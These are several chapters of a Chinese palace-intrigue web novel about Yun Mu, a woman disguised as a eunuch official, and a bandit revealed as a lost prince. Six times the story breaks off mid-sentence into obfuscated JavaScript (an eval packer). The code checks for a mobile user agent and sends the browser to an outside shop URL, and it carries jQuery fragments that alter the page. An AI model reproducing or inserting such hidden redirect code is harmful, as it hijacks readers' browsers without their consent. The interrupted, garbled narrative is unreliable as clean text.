云暮呼吸一窒,当即跪了下去:“皇上,这于礼不和,且祖宗之法不可变。” 大梁以前朝灭亡为鉴,不许宦官拥有批红之权,这么多年,也就云暮一个阉人闯出了名堂。 梁文帝幼时住冷宫,受了不少太监的磋磨,他对太监鲜少有过好脸色,云暮是唯一一个意外。不是几次三番的示好被拒绝,便是天降异象,梁文帝心里暗恨,此刻也迁怒上了云暮。 他冷冷地扫了云暮一眼:“云卿,你伤势未好,这几日就不必当值了,等伤好了再说罢。” 云暮跪拜:“奴婢谢皇上恩典。” 王全一路小跑回来,脸上肥肉荡起:“皇上,药……” 云暮接过纸包:“干的?” 王全喘着粗气答:“是,药渣已经丢了,奴婢让他们拿了一包没用过的。” “有劳公公了。” …… 才出勤政殿,还未能松口气,云暮就看到未央宫的掌事姑姑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632367|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 侯在殿外,对方见了她便笑意吟吟地行了个礼。 “云大人,娘娘在宫里备了茶,请你过去一趟,大人,你的肩……” 云暮扯了扯肩上的衣服,摇头道:“无事,只是伤口裂开了。” 都这个时间了,云暮没想到贵妃还有几位得宠的妃嫔竟然还在皇后的寝宫。 贵妃和皇后不和,后宫之人人尽皆知,平日来请安不是去迟就是早退,今日竟然有闲心留下品茶,难不成贵妃知道她会来? 脑子里胡思猜测,行礼的动作却无半分差错:“奴婢给娘娘们请安。” 皇后的脸上露出几分笑意:“起来吧。” 把人上上下下打量了一番,面露心疼:“肩膀怎么伤了?” 云暮不以为意:“不小心挨了贼人一刀,还未好全。” 皇后叹了口气:“来人,赐座。此去涿州,你辛苦了。” 一个阉人坐在皇后的下首,其他妃嫔却不敢多说一句,一时寂静无话。 贵妃调笑道:“大人去涿州又立新功,早知如此,本宫应该让熙儿随大人去历练历练,免得皇上总是说他不务正业。” 梁承熙,贵妃之子,平日最爱纵马饮酒斗促织,一掷千金只为博美人一笑,是京城出了名的纨绔。 云暮哪敢真接她的话:“贵妃娘娘言重了,皇上在御前经常提起三殿下呢。” 云暮此话不假,三皇子虽然纨绔,但文采斐然,只是不用在正途上,梁文帝每每提起总是扼腕长叹。 贵妃捂嘴娇笑:“大人出去了一趟,说话都比从前风趣了不少,想来是在冀州遇到了不少趣事。” 本小章还未完,请点击下一页继续阅读后面精彩内容! 第十八章 云家往事 “云暮?怎么一直盯着本宫看。” 云暮回过神,往后退了几步,额头贴在地上,隐住了表情:“奴婢失礼了,娘娘恕罪。” “红玉,扶云大人起来。” 皇后摇头失笑:“你这孩子,起来吧,本宫哪次怪过你?” “娘娘,院使来了。” “云大人受寒淋雨,身体还未好全又一路奔波,亏空得厉害,不过好在大人用的药材不错,药力足够,原先的药膳暂且停一停,过犹不及,补了亦是无用。最主要的还是这伤,得尽快处理。” 云暮扬唇,沈聿明的药确实不错。 “娘娘,奴婢随院使去太医院换个药,就先告退了。” 云暮走后,皇后还一直看着他离开的方向:“红玉,你说,这世间怎会有这般相似之人。当年云家一家三口都遭毒手,本宫亲自去收的尸。若非本宫知晓云院判和夫人伉俪情深,只有那一个孩子,本宫都要以为此云暮是彼云暮了。” “午夜梦回之时,总能看见云暮那孩子一身焦黑地朝本宫喊冤。” “她在怨本宫。” 红玉安慰她∶“娘娘,您多虑了,云大人是太监,行宫刑的太监也说了他是男儿身,况且当年之事并非娘娘之过。” 皇后死死地抓住红玉的手:“她是该怨本宫。那日原不该云院判当值,是本宫腹中龙胎不稳,特意把他召进了宫,是本宫害了他们!” “在江南被云暮救下后,本宫觉着是上天给了一个补偿的机会,本想把人送去太医院,保他一世无忧,还没等本宫和皇上求得恩典,就因崔家的事被禁了三年足。” 再出来时,已经物是人非。 红玉内心酸涩不已,她自小就跟在皇后身边,知道她有多艰难。对于云家人,她始终怀着感激,所以连带着对云暮也有几分怜爱。 当年的那场宫宴,皇后替皇上挡了毒箭。毒药伤了皇后的身体,还是云院判以身试毒,试遍百药才解了毒,又一番调理之后,皇后终于怀上了龙胎。 她哽道:“娘娘,人死不得复生,您看开些,别再被往事所困,你得为太子、五殿下和公主着想啊。” 皇后哀叹了一声。 陈年旧事涌上心头,云暮不愿在待在宫里,也不愿回那冷冰冰的宅子,就由着马儿带他四处闲逛。 还未挂上匾额的宅子正门大开,不时能看见几个忙碌的身影。 此处是广晋坊,和她住的昌平坊隔着五六个坊市。她不收官员的孝敬,名下所有的宅子都是梁文帝赏赐,除去昌平坊的云府,其他都离皇宫十万八千里。 刚从宫里搬出来时,她恨不得离皇宫远远的。在眼前这个宅子住了小半个月,只是每次才回府又被人宣进宫,日日如此,心力交瘁。一来二去她也懂了梁文帝的意思,默许他们把东西搬到了昌平坊的宅子里。 许久未来,竟不知何时成了他人的居所,她倒要看看是哪个不怕死敢把她的宅子据为己有。 “走。” 马儿喷洒着热气,原地踏了几步后,带着人就往正门走。 临上台阶前,云暮吁了一声,扯住缰绳牵制它,翻身下马。 沈聿明在清理院中的杂草,隐约听到马蹄声,他偏头一看,有些意外。 云暮牵马站在原地,看着沈聿明一步步走近。 一丝不苟束在头上的黑发被杂草勾出了几缕,身上的黑色衣袍沾了不少灰,腰带勾勒出他精壮的腰身。 最惹人注目的是挂在脖上的攀膊。银灰色的攀膊在手臂上各绕一圈,把宽大的衣袖缚在上臂,露出一截白皙的小臂。 云暮心想,京城里的那些纨绔比他还想土匪头子。 沈聿明走得又急又快,“大人,你这……怎么流了这么多血,不疼吗?” 他离得太近了,近到云暮能感受到他身上的热气,她不自在地往旁边错开几步,“没事,前几天的伤口又崩了。” 撒谎!前几日故意挨了杀手一刀也就罢了,这么多天过去了,伤口再深也该结一层薄痂,怎会流这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632368|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么多血?定是被人硬生生撕开伤口,是谁? 算了算时间,云暮也才从宫里出来,是梁文帝还是宫里其他的主子? 见他不愿说实话,沈聿明有些气恼,但又发现他没有立场为对方恼怒,于是更怒了。 “进来!” 云暮莫名其妙地看了他一眼,进去就进去,生什么气?如今她没有了利用价值,对方连表面功夫都不做了,男人当真是凉薄。 把人腹诽了一通,怀里就被塞进了一套衣服和一瓶药,只见男人硬邦邦地开口:“换药,把衣服也换了,干净,没穿过,是我前几年裁的,应该合身。” 云暮不喜旁人干预她的事,把手中的东西丢回他怀里,冷冷地和沈聿明对视:“沈公子,你僭越了。” 冰冷的态度如兜头浇下一盆冷水,沈聿明终于冷静,他抿了抿唇,又挂上了假笑:“大人,小人看大人受伤,一时心急,这才乱了分寸。” “没有下次。” 费尽周折经营起来的关系瞬间崩塌,一朝回到了刚认识的时候,沈聿明暗骂自己愚蠢。 云暮淡淡往周围扫去,那些看热闹的人猛 地低下了头,继续清理院子,这时她才发觉宅子因长久无人打理,已经杂草乱生。 她没忍住在心里骂了宋枫几句,她名下的宅院有好几处,宋枫怎么偏偏就挑了这个鸟不拉屎的地方?难怪那日他主动揽活,原来打的这个算盘。 “我许久没来过这边,不知晓它如此杂乱,我派几个人过来和你们一起收拾。” 看着忙碌的众人,云暮汗颜。 沈聿明笑着拒绝:“这有什么,不过是清理院子罢了,当初草民开山辟荒也是做过的,大人莫要忘了我们是山匪。” 云暮没再坚持,等会儿她直接派人来就是,“也罢,这几日会把房子移到你名下,你们安心住着,缺什么就差人去我府上找我。” 沈聿明突然挡住云暮的去路,把手伸向他的脸:“大人,你不要和我一拍两散了吗?” 第十九章 例外 一把匕首抵在腰腹,沈聿明视若无睹,双指一动,替云暮取下了发间的一根枯草,指腹轻轻擦过耳廓。 “大人,你发上沾了根草。” 嗓音低沉缱绻,温热的呼吸喷洒在侧脸,云暮心里没有一丝波澜,反倒一掌把人推了出去。 “再不出声就动手,仔细你的小命。” 沈聿明用枯草点了点肩膀,可怜兮兮地说道:“大人,好像脱臼了。” 云暮按住他的肩,咔嚓一声,恢复如初。动作间,她肩头的白衣又湿了些,血腥气也重了几分。 一连三日,云暮都没去上值,勤政殿内乌云密布,茶盏不知换了几套,王全愁得脸上的肉都少了半两。 “娘娘,这几日云暮借口养伤,谁都不见,除了此人。” 画像在贵妃身旁缓缓摊开。 贵妃侧坐在榻上,修剪内务府新送来的花,闻言头也没抬:“又是冯章他们几个?” “非也,是他从外头带回来的男人。” 云暮开始玩男人了?陛下知道吗? 贵妃终于提起了兴趣:“哦?拿来给本宫看看。” 看见画像的一刹那,案上的花瓶被人扫落在地,门外的宫人听到动静忙跑了进来。 “都给本宫滚出去!” 贵妃一把揪住宫女红袖的衣领,指甲划过红袖的脸,留下几道血痕。 她指着画中人厉声质问:“他是谁!” 红袖声音微颤:“此人叫沈聿明,原是涿州苍山上的山匪,不知怎么和云暮搭上了关系,从了良,没想到云暮把人带回了京。” 没有听到记忆中的名字,贵妃也不敢掉以轻心。 当年她派出去的人快要得手了,结果不知从哪里冒出来一伙人把小杂种救走了,此后再也没了音讯。 人一天找不到,她一天不得安寝。 那双涂满红蔻的白玉柔荑轻轻搭在画像中人的脸上,“像,太像了。” 这眉眼,跟那个死了的女人有七八分相像! 尖长的指甲把画像撕成两半,贵妃幽幽的声音在红袖耳畔响起:“把他的底细给本宫查个一清二楚。” 落日余晖,残阳如血。 云暮闭眼闭眼深吸了一口气,无奈道:“你又来做什么?若是看上了这个宅子尽管开口。” 这可是平昌坊的房子,寸土寸金,沈聿明立在墙头期待发问:“大人会送我?” “只怕你没命住。” 闭门谢客这几天,沈聿明每天雷打不动地过来,偏又不走大门,美其名曰避嫌。 他熟练地翻墙进院,落地的瞬间,夸张地拢了拢衣领:“大人这真冷清啊,一想到大人你孤家寡人住在这个没有人气的房子里,沈某辗转反侧,夜不能寐,遂决定过来给你送点温暖。 正给花浇水的云暮举起手中的水壶,目光放在坑坑洼洼的墙面上时,又默默放下了手。 石桌上满满当当摆了一桌子的点心,光看着都觉得牙疼,在涿州时怎么没见他这般嗜甜。 沈聿明皱眉:“大人不喜欢?” 他观察了几天,发现这家铺子最得京城人的欢心,人人都抢着买,去晚了就没了,整个坊市就属他家生意最好,云暮这都不喜欢? 他有些挫败:“大人,你喜欢什么,我明日给你送。” “你还是别送了。” “那可不行。所谓无功不受禄,大人把宅子赠予我,我自然是要还这个恩情的。” 沈聿明想也不想直接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632369|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拒绝,往后的路还要靠云暮,就算死皮赖脸他也要紧紧缠住对方。 云暮啧了一声:“你一个打家劫舍的土匪头子,还无功不受禄?” 沈聿明乖巧地把手搭在膝上,认真反驳:“大人,你知道的,我从良了,所以你想要什么?” 云暮揉了揉额角,指着他常翻的那面墙道∶“你明日来替我补墙。” “草民遵命。” 翌日一早,院外瓦砾掉落,惊醒了尚在熟睡的云暮,她匆匆穿衣,提剑出门。 沈聿明倚墙而坐,烟蓝色的窄袖锦袍破烂不堪,鲜血不断涌出。 他单手捂着腹部,在见到云暮时,扯出一个歉意的笑:“本来想在你睡醒前补好墙,结果还是吵到你了。” 云暮的视线在那个干净的包袱上停顿了一瞬,弯腰把人扶起:“谁伤的你?” “包袱,别忘了。” “忘不了。”云暮把包袱挎在手上,都什么时候了,还惦记着这个。 每走一步搭在她手臂上的手就收紧几分,云暮的脸色阴沉得难看,杀意悄然弥漫全身。光天化日之下就敢在皇城脚下动手,这些人疯了不成? “谁伤的你?” 他当然知道,但他不能说,只能摇头:“不知,他们都蒙着面,身手看起来像是前几日在城外的那帮人。我打不过,只能往里这里躲,他们才不敢追。” “把衣服脱了。” 沈聿明非但不脱,反而紧了紧衣领:“大人,这不好吧,我都受伤了。” 云暮真想掰开沈聿明的脑子看看里面到底装了什么东西,受了伤还这么不安分,“不想活命就尽管捂着。” 本小章还未完,请点击下 一页继续阅读后面精彩内容! 第二十章 身份暴露 “废物,怎么连个人都杀不了!” 贵妃指着一个眼生的太监怒骂。 险些暴露身份本就恼火,‘太监’当下也抱怨了起来:“贵妃娘娘,去之前您也没说他和云暮私交甚笃。” 否则老爷不会答应贵妃。 他们杀人讲究一个天时地利人和,还会提前找好替死鬼,如今卢氏草木皆兵,贵妃火急火燎让他们去杀人就罢了,还不把情况交代清楚,要不是他见对方逃命方向不对,只怕是已经暴露了。 任务没完成就罢了,要是被云暮查出,反倒惹上一身腥。 贵妃这几日一直惴惴不安,消失多年的梦魇卷土重来,一晚上惊醒了数次。 “本宫不管你们用什么方法,两日内必须提着他的人头来见本宫。” 即使眼下不能确定此人就是当年那个孩童,但长得这般像,已经八九不离十了,她宁可错杀也绝不放过一个! 十年前她能杀了那一家三口,十年之后她也能杀了这个相似之人。 太监冷笑了一声:“贵妃娘娘还是等老爷的消息吧,小人告退。” 门外,‘太监’和步履匆匆的红袖擦肩而过,不多时,寝殿的方向传来器物碎裂的声音。 和长乐宫不同,勤政殿内的丞相等人一脸肃穆地看着沈聿明,像是要把他盯出个洞来。 方才王全火急火燎地宣他们几人进宫,才踏入勤政殿就被殿内之人吓了一跳。他们几个都是跟着梁文帝的老人,自然知晓当年之事。 眼前之人的眉眼正和当年葬身火海那位胡人公主长得有六七分相似!几分相似已是难得,而此人竟然还有公主的信物。不管他们怎么问,也都能应对如流。 王全打量着身旁之人,这几日并未下雪,但云暮的山巩色银丝纹的圆领窄袖长袍外还是罩上了一件同色系的貂皮斗篷,苍白的脸上较前几日多了几分血色。 他在勤政殿心惊胆颤地伺候,对方在家巴结新找回的主子,本以为对方死到临头,结果他又翻身了。连立两功,也不知道皇上会怎么赏他呢,王全酸溜溜地想着,脚却上前一步,用壮硕的身躯替他挡住了风。 勤政殿里终于漏出了梁文帝的笑声,而后恭贺声四起。 “云暮。” 听到声音,云暮推开门往里走去。 “你又替朕平一憾事,当赏!” 梁文帝带着笑意望他,当年之事一直都是他的心病,这么多年来,也不是没人假冒过他的明熹,但都被他一一识破。 “你想要什么赏赐?” “为陛下分忧是奴婢分内之事,奴婢不敢邀功。”云暮的声音听不出情绪,却暗自松了口气,如此一来,有皇帝护着,短时间内,无人敢对他下手。 同时也有些幸灾乐祸。几位皇子早已出宫建府,除了一出生就被封为太子的嫡子,皇上不曾封谁为王,这圣旨一下,他不知道会成为多少人的眼中钉肉中刺。 但这些都与她无关。 “研墨,朕有封熹儿为王,云卿想不出要什么赏赐,不如朕封你为金吾卫大将军,如何?” 这也不是梁文帝一时兴起,他早就想怎么做了,只是苦于寻不到合适的时机。 哪有阉人当金吾卫大将军的?破例让云暮当中郎将已经是格外开恩了,丞相当即站出来反对:“皇上,大将军一职不可儿戏,不如赏赐写金银财宝?云大人以为如何?” 有谁会嫌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632370|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弃自己站得不够高?云暮道:“下官唯皇命是从,只是随下官一道去的手下还有……” 梁文帝大手一挥:“一律论功行赏!” 丞相隐含怒气地瞪着云暮,但梁文帝已经在拟圣旨,他就算不满也无济于事。 双喜临门,梁文帝嘴角的笑意就没消过,他边拟旨边道:“等会儿你带王全去宣旨。” 云暮突然放下墨条,捂嘴咳了起来:“皇上,奴婢身体不适,恐不能奔波。” 明知他在推诿,梁文帝的心还是揪了起来,正要抬手给他拍背,目光触及到殿内的几人时,又讪讪放下:“罢了,你去歇着吧,叫王全进来。” “奴婢告退。” 虽说明儿才上值,但云暮还是去了一趟布政坊。 “四队人马都没发现有人在皇城作乱,你们干什么吃的?要不是人误打误撞闯进我的的宅邸,整个金吾卫的人都回家洗干净脖子交代后事吧。再有下次,我也保不了你们!” 街使有口难言,云暮不在,他们也不敢松懈半分。 今儿一早,西市那边大喊死了人,等他们过去之后发现就是擦破点皮,再回来时,巷子里溅了一地的血,顺着血迹一路追到云暮的宅子外,他们已经想好要以死谢罪了,好在最后只挨了一顿板子。 街使心里对云暮和沈聿明感激涕零。 而另一边的沈聿明出了宫后便出现在了西市的醉江月。 “属下不知公子回京,有失远迎,望公子恕罪。” 沈聿明轻笑一声:“本王随云暮一道回来,你来迎接,不是把本王往死路上推?” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第二十一章 送花 安叔也有些纳闷:“大人,你回来了,这些都是王爷送来的,三辆马车一起来的,这是最后一趟。” 见惯了别人送金银珠宝,头一回见到有人送他们家大人花,还挺稀奇。 本朝王爷只有一人,都不用想就知道是谁。 云暮扫了一眼马车∶“他走了?” “还没,在暖阁呢。” 云暮看了一眼巷口鬼鬼祟祟的人,深吸了一口气。 圣旨已下,所有人都盯着沈聿明,他怎么还明目张胆地带着东西来她家?是觉得她如今站得太高了吗? 云暮直奔暖阁,压着怒气问道∶“王爷,你这是做什么?” 沈聿明指着他院里那些枯死的盆栽道:“看你日日照料,却养不活,怪可怜的,今儿路过看到有人卖花,顺手给你买两盆。” 云暮不解地看着他:“又没有把你养死,在江南时,大家都是直接放在院子里,不也活得好好的?” 发现被他带偏之后,云暮更怒了:“下官的意思是,王爷不回自己府上,来云府做甚?” 沈聿明理所当然地开口∶“给你送花啊,我问过卖花的了,他说要养在暖阁,搁外边放着会被冻死,算了,这些我来照料,你只管赏花便是。” 云暮的脸色瞬间冷了下来:“王爷这又是何意?” 沈聿明故作惊讶:“父皇没有同大人说吗,金吾卫巡察不力,害得本王深受重伤,再加上王府还未修缮好,所以这几日要在大人这里养伤。” “大人今早才答应本王,转眼就始乱终弃,真是无情。” 云暮一字一句道:“下官答应的是沈聿明,而非梁明熹。” 认回身份前,可对外说是朋友,可如今他是王爷!他隐瞒身份回京城,目的绝不简单。而她只想查出父母身死的真相,并不想蹚进夺嫡这池浑水。 这几日他天天往云府跑,多半是为了守株待兔,如今等到了皇帝,他还留下来做甚? “王爷身份尊贵,云府庙小,怕是会委屈王爷,您还是另寻他处吧,下官会派金吾卫保证王爷的安全。” 沈聿明把手收回袖子,下巴微抬,示意云暮看门口:“云大人,已经晚了,你看,圣旨来了。” 先是隐瞒身份诓她护他回京,现在又用一道圣旨把他们捆绑在一起。宣旨太监一走,她不顾沈聿明身上的伤,怒气冲冲地把圣旨砸到他身上:“你到底想要做什么?” 沈聿明闷哼了一声:“我不想做什么,只是一看到大人就觉得亲切,所以才想和大人待在一处。” 云暮突然笑了,上前一步,伸出食指顺着他的脖子往下滑:“王爷,你该不会是喜欢下官这个阉人吧?” 阉人一词,咬得很重,似是在提醒对方什么。 沈聿明喉咙滚动,下意识否认:“不是。” 不是什么,是否认对她的喜欢,还是否认她不是阉人? 见到云暮的第一眼,他就怀疑对方是他记忆里的那个人,回京路上的几次试探,最后借着枯草和今早包扎的伤口确认了她的身份。 云家到底发生了什么,她好端端的一个姑娘家怎么不远千里去了江南,又怎么成了人人得以诛之的太监? 他迫不及待想知道他离宫之后发生了何事,“我还有事,先走了。” 云暮轻嗤一声,吩咐安叔关门。 沈聿明匆匆赶往大理寺,把封王圣旨往程文博怀里一丢:“把云院判的事一五一十地和本王说清楚。” …… 云暮再次见到沈聿明已是深夜,“王爷,宵禁出行乃是大忌,且大半夜扰人清梦,实非君子所为。” 推开门的瞬间,沈聿明把一枚白玉双鱼佩塞进云暮手里∶“给你。” 入手的一瞬间,温热自掌心传遍全身,云暮不过一握就认出这是何物。 沈聿明的声音有些闷:“你家的祖传玉佩,本王去赎回来了,你放心,整家店都搬空了,不会有人怀疑。” 云暮眼神微动,看向沈聿明,偏他背光而立,让人看不清神色。 云家被那伙人焚毁,第二日她趁夜回了云 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632371|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家,府里只剩断壁残垣,别说那枚玉佩,便是一片金箔都被人清了个干净。玉佩不知辗转了几手,最后出现在了当铺。 她可以确定自己此前从未见过沈聿明,况且她的面容和习惯与从前天差地别,对方怎么会知晓她的身份?一个陌生之人都能认出,那帝后呢? 云暮的脸色变了又变,问道∶“王爷是怎么认出我的身份的?” “大人确定要在此处说?” 方才沈聿明翻墙的动静不小,此刻院门外的小厮举着火把朗声问:“大人,方才有人闯进府中,往你院里来了。” 云暮拉着沈聿明往书房去,还不忘把门口的人打发走:“无事,都散了吧。” “王爷,可以说了吗?” 沈聿明直视着她∶“你耳垂有小硬块,姑娘家穿耳才会如此,虽不知你用什么方法让人看不出,但是一摸便能发现。还有你今早替我包扎时,第一次打的结和从前一样。” 她一时心急打的结不过一瞬就解开了,对方只凭这些就能知道她的身份? “下官怎么不记得曾与 王爷认识?” 沈聿明抿了抿唇,垂下眼帘遮住眼底的落寞。 她不记得了,还满脸戒备,所以从前如何已经不重要了。 再开口,沈聿明的声音带了一丝沙哑∶“伪造身份,女扮男装入朝为官,云大人,你也不想别人知道你的真实身份吧?” 云暮攥紧那枚双鱼玉佩,心道果然,“王爷能给我什么?” “本王会助你查清云家之事。” 云暮本想拒绝,但想到对方的身份,又应了下来,或许断掉的线索能从他这里连上。 “可以。王爷想要我做什么?” 助他登上那至高无上之位?也不是不行,只是太子并无过错,皇后对她也还算不错,若云家之事与皇后无关,她得想一个两全其美之法。 沈聿明沉默了半晌,久到云暮以为他要以身份为要挟,狮子大开口时,对方终于开了口:“云大人,替本王换个药吧。” 第二十二章 应酬 被沈聿明识破了身份,云暮面对他时总是不自在,今早本想先他一步入宫,却不想对方早已在正厅等着她。 云暮无奈,只好上了沈聿明的马车。王爷的马车比寻常官员的大了不止一星半点,两人分坐两边,直到受完赏都没有说过一句话。 出去了几个月,布政坊的事堆满了桌案,云暮一整日都待在布政坊,想到晚上还要带人巡逻,她也懒得回府了。 带着街使巡至西市时,正巧碰上户部尚书裴然宴请同僚。 裴然一把拉过他:“云大人如今是上将军了,恭喜恭喜,你回京后就没能一起叙过旧,今日又升迁,一起进来坐坐。” 这个宴会虽是先前就约好,但多一个云暮也无妨。 云暮拿下他的手,含笑拒绝:“几位大人,下官还在当值,就不同你们一道了。” 户部尚书裴然凑到他身边,低声道:“云大人,你等会儿一定要来啊,我订了一个好东西,就听说这配方宫里人都在用。” 云暮笑道:“醉江月又出新菜了?” 裴然高深莫测地拍了拍他的肩:“云大人来了便知。” 云暮对口腹之欲没有多大的兴趣,敷衍道:“若下官无事,定来叨扰。” 没走多远,忽见瓦片轻动,脚步声响,云暮抬起右手侧耳倾听,身后的街使停下脚步。 “抓人。” 云暮跃上房顶,紧追不舍,小贼轻功不错,起落了几下,不见了踪影。 房顶下的街使已经布下罗网,直奔箭羽的方向,手中绳索套住贼人的脚,往下一拉。落地之时,贼人还紧紧护住怀里的东西。 “一盅汤?” “云大人可不要小瞧了它,此汤名叫紫参野鸡汤,不过一盅,都要这个数。” 醉江月的雅间里,裴然朝云暮伸出了几根手指,“金子,况且有钱还不一定能买到,也亏我多订了一盅,不过这些都是本官拿多年积蓄所购,大人千万不要误会。” 天下第一肥缺乃户部尚书,但凡心思活络些,家财万贯不过翻翻手的事,裴然出得起这个价钱,云暮毫不意外。 “哦?下官是占了谁的份例?” 裴然害了一声,“哪有什么占不占,不过是家里的夫人听说,也闹着要罢了。” 云暮闻着熟悉的药膳味,想起梁文帝赐的那盅汤,“裴尚书,宫中有贵人也在用这道汤是何意?” 云暮才回京就惹了圣怒,裴然低声解释:“大人有所不知,这配方是从宫里流出来的,皇上日日都要用这道汤,难道大人没觉得陛下这几日心情好了不少吗?。” 她才回来就闭门思过,今天才重新上值,如何得知?她惭愧道:“下官还当是找回了王爷,皇上喜不自胜呢。” 见云暮主动打开话题,长安知县笑道:“要不都说云大人年少有为,年后才替陛下抄了礼部侍郎一家,如今又替陛下了了一桩心事,下官还得多向云大人学习。” 云暮不以为意地笑了:“年后抄家已经是皇上体恤了,否则本将军早就拿他的人头和陛下讨要压岁钱了。” 这话说得轻狂,除去裴然,无人敢接话,他岔开话题:“今日小聚不聊工作,云大人,试试这道汤。” 云暮想起小贼的反应,阖上了盖子:“下官怎可夺裴夫人所爱。” 一连灌了好几杯茶,云暮借口如厕偷偷潜去了后厨。 今夜宾客不少,后厨的人忙得脚不沾地。 管事的巡了一圈:“钱大壮呢?” 一个搬着柴火的小工抽空回道:“方才还看见的,可能上菜去了。” 管事小心翼翼地掀开蒸笼盖,发现汤水没有少一盅后才放心,“不是让他看着火吗,谁让他去传菜的?” “嘘,别动。” 云暮低声一手提着人一手捂住他的嘴说道。钱大壮人不如名,生得瘦瘦小小,此刻像小鸡崽一样被云暮拎着。 钱大壮听到熟悉的声音后,不再挣扎:“大人,你怎么来了?” 云暮松开他:“找你打听点事,你可知炖汤的药渣在哪里?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632372|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 醉江月的药膳不少,钱大壮一时拿不准:“大人说的可是紫参野鸡汤?” “是。” “那道汤价格昂贵,许是东家怕人偷了方子,药渣才捞出来,就派管事的拿走了,具体在哪里小的也不知。” 裴然说过,方子是从宫里流出来的,只要肯花钱,谁都能买到,怎么会怕人偷方子? “你去打听打听,要是能拿到药渣,本大人有赏。” 钱大壮连忙摆手拒绝,“大人,这事做不得,前阵子有个人偷了药渣,东家知道后,让人剁了他两根指头。” 云暮挑眉:“右手的无名指和小指?” 钱大壮讶异:“大人如何得知?” “他今夜不知从何处偷了一盅汤,被我抓个正着,如今已经下狱了。” 见钱大壮实在害怕,云暮也不逼他,“你只需打听药渣在何处即可,这个不难吧?” 知道这是云暮最大的让步,钱大壮一口应下:“大人,小的先回去了,一会儿管事的该扣工钱了。” 云暮给了他几粒碎银,“去吧,事成之后还有赏。 ” 回去的路上,云暮驻足了片刻,但很快又收回视线,趁对方没注意快速进了一旁的雅间。 子时六刻,轮值的人换班结束,云暮才回府,安叔也一直在等着他。 “大人,江南那边来信了。” 云暮精神一振,回屋拨亮了烛火才打开信。信是师兄寄的,他也不认得此物,师父一个月前就去了西北,现下还未归家,师兄也联系不上他。 师父走南闯北惯了,若不是收了她和师兄为徒,也不会老老实实待在江南这么多年。云暮叹了一声,拿下灯罩,点燃了那封加急送来的信。 第二日,等沈聿明起来时才发现云暮已经不在,他索然无味地吃着早膳,“安叔,云大人昨儿没回?” “回王爷,大人一早就出门了。” 沈聿明皱眉,上值时间未到,云府离皇宫还近,她怎么当了上将军还更忙了? 第二十三章 买酒 “大人,卢宏一家斩立决,现在大理寺的人正把人拉去菜市口,王爷派人来问大人是否要去观刑。” 宋枫的表情有些难看。当初他大言不惭让人远离云暮,对方摇身一变成了王爷,如今隐瞒身份的只有他一人,侥幸变为惶恐,以致他不敢抬头看云暮。 